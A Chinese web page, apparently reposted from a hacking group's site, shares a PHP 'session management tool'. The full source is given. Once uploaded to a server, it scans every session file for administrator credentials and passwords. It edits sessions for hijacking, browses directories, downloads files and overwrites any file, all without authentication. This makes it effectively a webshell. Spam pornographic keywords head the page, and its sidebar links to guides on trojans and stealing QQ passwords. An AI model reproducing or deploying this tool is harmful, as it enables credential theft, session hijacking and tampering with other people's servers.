欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP服務(wù)端SESSION管理工具提供下載

 更新時(shí)間:2007年10月09日 15:20:40   作者:  
文章作者:Inking
信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)

前兩天我所在的樓層斷了網(wǎng),郁悶的我什么也干不了.之前剛好看到劍心的blog里有篇瘋狗寫的關(guān)于利用session滲透的文章,文章寫得很簡單,到最后" 小氣"的瘋狗也沒有把利用程序發(fā)出來,所以我不管有沒有用先把它寫下來了.由于不能查資料,所以只好對這手冊看,代碼在很多方面可能還存在著缺陷.最煩人的還是正則和文件流操作的問題,循環(huán)來循環(huán)去的,把我的頭都搞暈了,光是調(diào)試都花了整整一天的時(shí)間(寫代碼粗心大意沒辦法).希望大家多提提意見看法.. 瘋狗的章:http://www.loveshell.net/blog/blogview.asp?logID=101

寫好后我對程序的執(zhí)行效率進(jìn)行了大致的測試
執(zhí)行環(huán)境:winxp,PHP5,apache2,酷睿2050--1.6GHZ,512m內(nèi)存,945主板
文件系統(tǒng):6層目錄,每層1000個(gè)文件,session文件大約為50-100字節(jié)
搜索這6000個(gè)文件大約需10-15s的執(zhí)行時(shí)間,效率并不像我想象中的那么低.


復(fù)制代碼 代碼如下:

<?
if(isset($_GET['download'])){
    $filename=$_GET['filename'];
    $dirname=$_GET['dirname'];
    ob_start();
    download($dirname,$filename);
    flush;
}
session_start();
$default=ini_get('session.save_path');
$thispath=str_replace("\\","/",__FILE__);
$thispath=substr($thispath,0,strrpos($thispath,"/"));
?>
<html>
<head>
<title>SESSION管理工具</title>
<head>
<style>
body{
    margin:0;
    padding:0;
    background:#000000;
    color:green;
    margin-top=60px;
    FONT-FAMILY: verdana;
    FONT-SIZE: 10px;
}
input{
    margin:0px;
    padding:0px;
    color:green;
    border: 1px;
    border-bottom-color:#ffffff;
}
hr{
    width:85%;
    height:1px;
}
</style>
</head>
<body><center><h3>PHP服務(wù)端SESSION管理工具</h3><p><a href=<? echo $_SESSION['PHP_SELF'];?>?help=yes>(使用方法)</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="<? echo $_SESSION['PHP_SELF'];?>?fcontrol=yes&dirname=<? echo $thispath;?>">(文件操作)</a></p>
<hr>
<p>&nbsp;</p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<form action=<? echo $_SERVER['PHP_SELF'];?> method=GET>
<tr><td><b>&nbsp;&nbsp;&nbsp;&nbsp;SESSION路徑&nbsp;</b><input type=text name=spath value="<? echo $default;?>">&nbsp;</td></tr>
<tr><td><input type="radio" checked name="fetch" value=searchone onclick="sessname.disabled=false;"><b>搜索指定SESSION</b>
<input type=text name=sessname>&nbsp;&nbsp;
<tr><td><input type="radio" name="fetch" value=all onclick="sessname.disabled=true;"><b>讀取所有SESSION</b>
<input type=submit value=讀取>&nbsp;&nbsp;&nbsp;<input type=reset value=重置></td></tr></form></table><p></p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<?
set_time_limit(0);
if(PHP_VERSION < '4.1.0') {
    $_POST = &$HTTP_POST_VARS;
    $_GET = &$HTTP_GET_VARS;
}
$spath=$_GET['spath'];
if(isset($_GET['fetch'])){//關(guān)鍵詞搜索
    if(isset($_GET['fetch']['searchon'])&&isset($_GET['sessname'])&&$type="1"){
        !empty($_GET['sessname']) or die("<tr><td><font color=#B3614D>請輸入搜索關(guān)鍵字</font></td></tr>");
        $sessname=$_GET['sessname'];
        getfname($spath);
        count($session)>0 or die("<tr><td><font color=#B3614D>內(nèi)容為空,請檢查目錄的正確性或者修改關(guān)鍵字</font></td></tr>");
        foreach($session as $fpath=>$sessinfo){
            foreach($sessinfo as $sessid=>$contents){
                echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID:&nbsp;".$sessid."</a></td></p></tr>";
                foreach($contents as $name=>$value)
                    echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
            }
        }
    }
    elseif(isset($_GET['fetch']['all'])){//查找全部
        $type=0;
        getfname($spath);
        count($session)>0 or die("<tr><td><font color=#B3614D>內(nèi)容為空,請檢查目錄的正確性</font></td></tr>");
        foreach($session as $fpath=>$sessinfo){
            foreach($sessinfo as $sessid=>$contents){
                echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID:&nbsp;".$sessid."</a></td></p></tr>";
                foreach($contents as $name=>$value)
                    echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
            }
        }
    }
    echo "</center></table>";
}
if(isset($_GET['modify'])){//顯示某個(gè)文件下的內(nèi)容
    $modify=$_GET['modify'];
    $fpath=$_GET['modfname'];
    $sid=$_GET['modname'];
    getvalue($fpath,'1','');
    echo "<tr><td>你所修改的session文件的路徑:&nbsp;<p>".$fpath."</p></td></tr>";
    echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
    echo "<input type=hidden value=".$fpath." name=m_path>";
    !empty($modsession) or die("<tr><td><font color=#B3614D>內(nèi)容為空,請檢查目錄的正確性</font></td></tr>");
    foreach($modsession as $modsessinfo){
            foreach($modsessinfo as $modsessid=>$contents){
                echo "<tr><p><td>SESSION_ID&nbsp;<input type=text name=m_sid value=".$modsessid.">&nbsp;&nbsp;</td></p></tr>";
                $i=0;
                foreach($contents as $modname=>$modvalue){
                    echo "<tr><td><p>".$modname."&nbsp;=>&nbsp;<input type=text name=m_value[".$i++."] value=".$modvalue."></p></td></tr>";
                }
            }
    }
    echo "<tr><td><input type=submit value=確認(rèn)修改>&nbsp;&nbsp;或<a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($fpath).">打開文件</a>進(jìn)行完全編輯<a href=\"javascript:history.go(-1);\">或返回修改其它</a></td></tr></form></center></table>";
}
if(isset($_POST['m_path'])){//對單個(gè)值進(jìn)行修改
    $m_path=$_POST['m_path'];
    $m_value=$_POST[m_value];
    $f=fopen($m_path,'r');
    $content=fgets($f,1024);
    $explode=explode(";",$content);
    fclose($f);
    $f=fopen($m_path,'w');
    $m_content='';
    for($i=0;$i<count($m_value);$i++){
        $modified=ereg_replace("\".*\"",'"'.$m_value[$i].'"',$explode[$i]);
        $m_content.=$modified.";";
    }
    fwrite($f,$m_content);
    fclose($f);
    echo "<tr><td>修改成功,<a href=".$_SERVER['HTTP_REFERER'].">返回重新修改該session文件</a></td></tr></center></table>";
}
if(isset($_GET['modify_all'])){//顯示要修改的文件的內(nèi)容
    $filepath=$_GET['modfname'];
    $f=fopen($filepath,"r");
    $fcontent=fread($f,filesize($filepath));
    echo "<tr><td>你正修改的文件是".$filepath;
    echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
    echo "<input type=hidden name=filepath value=".$filepath.">";
    echo "<center><textarea cols=100 rows=15 name=m_content>".$fcontent."</textarea></center>";
    echo "<p><input type=submit value=確認(rèn)修改>&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"javascript:history.go(-1);\">返回上一步</a></form></p></td></tr></center></table>";
    fclose($f);
}
if(isset($_POST['m_content'])){//進(jìn)行完全修改
    $m_content=$_POST['m_content'];
    $filepath=$_POST['filepath'];
    if(get_magic_quotes_gpc()) $m_content=stripslashes($m_content);
    $f=fopen($filepath,"w");
    fwrite($f,$m_content);
    fclose($f);
    echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($filepath).">點(diǎn)這里查看或重新修改</a></td></tr>";
    echo "<tr><td><a href=".$_SERVER['PHP_SELF'].">返回首頁</a></td></tr></center></table>";
}
if(isset($_GET['help'])){//顯示help
    print<<<eof
    <tr><td>本程序的功能是從指定的文件夾下讀取本文件夾及其子文件夾下的所有session文件的值,或者搜索含有指定關(guān)鍵字的session文件,不過注意由于寫得很粗略,沒有用到數(shù)據(jù)庫功能,所以不支持多個(gè)關(guān)鍵字搜索,請搜索類似"admin","pwd","user","password"等可能含有管理員信息的關(guān)鍵字.<br>如果服務(wù)器的訪問量大,勢必會(huì)產(chǎn)生很多session文件,最好用關(guān)鍵字的方法,并耐心等待,因?yàn)樵摮绦蛞粋€(gè)個(gè)的讀取session文件,并進(jìn)行匹配,效率之低可想而知.<br>由于這個(gè)程序就是為了從眾多session文件中查找相關(guān)內(nèi)容而設(shè)計(jì)的,所以并沒有添加直接修改指定session文件的功能,而只是對搜索出來的session文件進(jìn)行編輯.如果需要,請用記事本打開session文件進(jìn)行編輯.你也可以提交如下url進(jìn)行編輯:"http://test.com/session.php?modfname=<session文件的路徑>&modname=<session_id>&modify=1".<br>在session路徑的填寫框中盡量用"/"來代替"\",windows的seesion文件默認(rèn)保存路徑為"c:/windows/temp",linux下為"/tmp",不過程序會(huì)自動(dòng)幫你讀出當(dāng)前session所在的路徑,如果需要讀取其它的session請自行查找,并手動(dòng)填入.如果知道你所需要的session文件的具體文件夾,最好具體指明,這樣可以省時(shí)一些.點(diǎn)"讀取"后會(huì)顯示出搜索結(jié)果,以"session_name=>value"的形式顯示你所搜索到的結(jié)果,點(diǎn)擊對應(yīng)的session_id進(jìn)入編輯狀態(tài),點(diǎn)擊"確定修改"進(jìn)行相關(guān)內(nèi)容的修改,或者點(diǎn)"打開文件"進(jìn)行完全編輯,然后確認(rèn)保存.<br>如果目錄填寫不正確或者目錄中的session文件都為空,那么程序會(huì)報(bào)錯(cuò)"目錄中無session文件",這個(gè)時(shí)候請仔細(xì)檢查.<br>程序做好后一直因?yàn)榫W(wǎng)絡(luò)沒有恢復(fù),所以我又添加了個(gè)簡單的文件操作功能,方便使用吧<br>因?yàn)槲易约簩φ齽t不是很熟悉,對session的工作原理可能也了解的不是很透徹,前前后后花了兩天的時(shí)間才寫好,光調(diào)試就花了我大半的時(shí)間,所以bug難免,尤其在正則匹配方面,歡迎到我的博客交流.<br>作這個(gè)程序的靈感來自瘋狗的兩篇文章,請參閱:http://www.loveshell.net/blog/blogview.asp?logID=101<br>具體使用時(shí)請自行刪除本幫助文檔,本程序歸Inking所有,僅供交流,一切使用上造成的后果于作者無關(guān).</td></tr></center></table>
eof;
}
if(isset($_GET['fcontrol'])){
    $dirname=$_GET['dirname'];
    if($dirname[strlen($dirname)-1]!="\\"&&$dirname[strlen($dirname)-1]!="/") $dirname.="/";
    echo "<tr><td>當(dāng)前文件路徑:&nbsp;".$dirname."</td></tr>";
    $opendir=opendir($dirname) or die("<tr><td><font color=#B3614D>打開文件失敗</font></td></tr>");
    while($file=readdir($opendir)){
        if($file=="."){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
            continue;
        }
        elseif($file==".."){
            $newname=substr($dirname,0,strrpos($dirname,"/"));
            $newname=substr($newname,0,strrpos($newname,"/")+1);
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($newname).">".$file."</a></td></tr>";
        }
        elseif(is_dir($dirname.$file."/")){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname.$file)."/>".$file."</a></td></tr>";
        }
        elseif(getftype($file)){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($dirname.$file).">".$file."</a></td></tr>";
        }
        else{
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?download=yes&filename=".urlencode($file)."&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
        }
    }
}
function getfname($spath){//遍歷目錄,并調(diào)用getvalue()函數(shù)得到各個(gè)session_name的值
    global $fpath,$file;
    if($spath[strlen($spath)-1]!="\\"&&$spath[strlen($spath)-1]!="/") $spath.="/";
    $opendir=opendir($spath) or die("<tr><td><font color=#B3614D>打開文件失敗</font></td></tr>");
    while($file=readdir($opendir)){
        if($file=="."||$file=="..") continue;
        if(is_dir($spath.$file."/")){
            getfname($spath.$file."/");
        }
        elseif(ereg("^sess_",$file)){
            $fpath=$spath.$file;
            preg_match('/(^sess_)(.+)+/',$file,$prex);
            $file=$prex[2];
            getvalue($fpath,'0',$type);
        }
    }
    closedir($opendir);
}
function getvalue($fpath,$modify='0',$type){//得到某個(gè)session文件中的session變量的值
    global $type,$fpath,$sessname,$session,$file,$modsession,$sid;
    $f=fopen($fpath,"a+");
    $content=fgets($f,1024);
    fclose($f);
    $explode=explode(";",$content);
    $i=0;
    while($match=$explode[$i++]){
        preg_match('/(^[^\|]*)+\|.+\"(.+)+\"$/',$match,$value);
        $sname=$value[1];
        $svalue=$value[2];
        if($modify==1){
            $modsession[$fpath][$sid][$sname]=$svalue;
            continue;
        }
        if($type){
            if(eregi($sessname,$sname)==true){
                $session[$fpath][$file][$sname]=$svalue;
            }
        }
        else{
            $session[$fpath][$file][$sname]=$svalue;
        }
    }
}
function getftype($filename){//判斷文件類型
    $ftype=substr($filename,strrpos($filename,".")+1);
    switch($ftype){
        case "txt":
            return true;
        case "asp":
            return true;
        case "php":
            return true;
        case "ini":
            return true;
        case "log":
            return true;
        default:
            return false;
    }
}
function download($dirname,$filename){
    $f=fopen($dirname.$filename,"r");
    $contents=fread($f,filesize($dirname.$filename));
    fclose($f);
    Header("Content-type: application/octet-stream");
    Header("Accept-Ranges: bytes");
    Header("Accept-Length: ".filesize($dirname.$filename));
    Header("Content-Disposition: attachment; filename=".$filename);
    echo $contents;
}
?>
</table>
<p>&nbsp;</p>
<hr>
<center><p>Code By Inking&nbsp;&nbsp;&nbsp;<a >The Entry To My Website</a>&nbsp;&nbsp;&nbsp;QQ: 165068585</p><p>&nbsp;</p>
</center>
</body>
</html>

下載

相關(guān)文章

  • 利用WinRAR來捆綁木馬2個(gè)技巧

    利用WinRAR來捆綁木馬2個(gè)技巧

    利用WinRAR來捆綁木馬2個(gè)技巧...
    2007-06-06
  • 如何防范別人盜你的qq號(hào)(盜別人的qq密碼)

    如何防范別人盜你的qq號(hào)(盜別人的qq密碼)

    想用別人的 qq號(hào)碼,最主要的就是把別人的密碼偷來,那么怎么盜別人的qq密碼呢?不過,沒有人會(huì)告訴你:我的密碼是什么什么,請你盡情的用我的號(hào)碼吧!那么,黑客是怎么去把別人的密碼偷來呢
    2012-03-03
  • linux提權(quán)用的一個(gè)技巧

    linux提權(quán)用的一個(gè)技巧

    一個(gè)linux提權(quán)用的技巧,放出來全當(dāng)找工作攢RP了。 OK,通常情況下,我們在執(zhí)行bash腳本的時(shí)候,有一個(gè)執(zhí)行過程,其中有一點(diǎn)比較重要:如果BASH_ENV被設(shè)置的話,它就會(huì)執(zhí)行BASH_ENV指向的腳本
    2008-09-09
  • 利用css實(shí)現(xiàn)掛馬的代碼

    利用css實(shí)現(xiàn)掛馬的代碼

    本站只是提供知識(shí),方便大家以后的查殺木馬,不是用來搞破壞
    2008-01-01
  • 黑鷹VIP教程-腳本入侵班全部提供下載

    黑鷹VIP教程-腳本入侵班全部提供下載

    愛好腳本的朋友有福了,腳本入侵班資料下載
    2008-06-06
  • 最新評論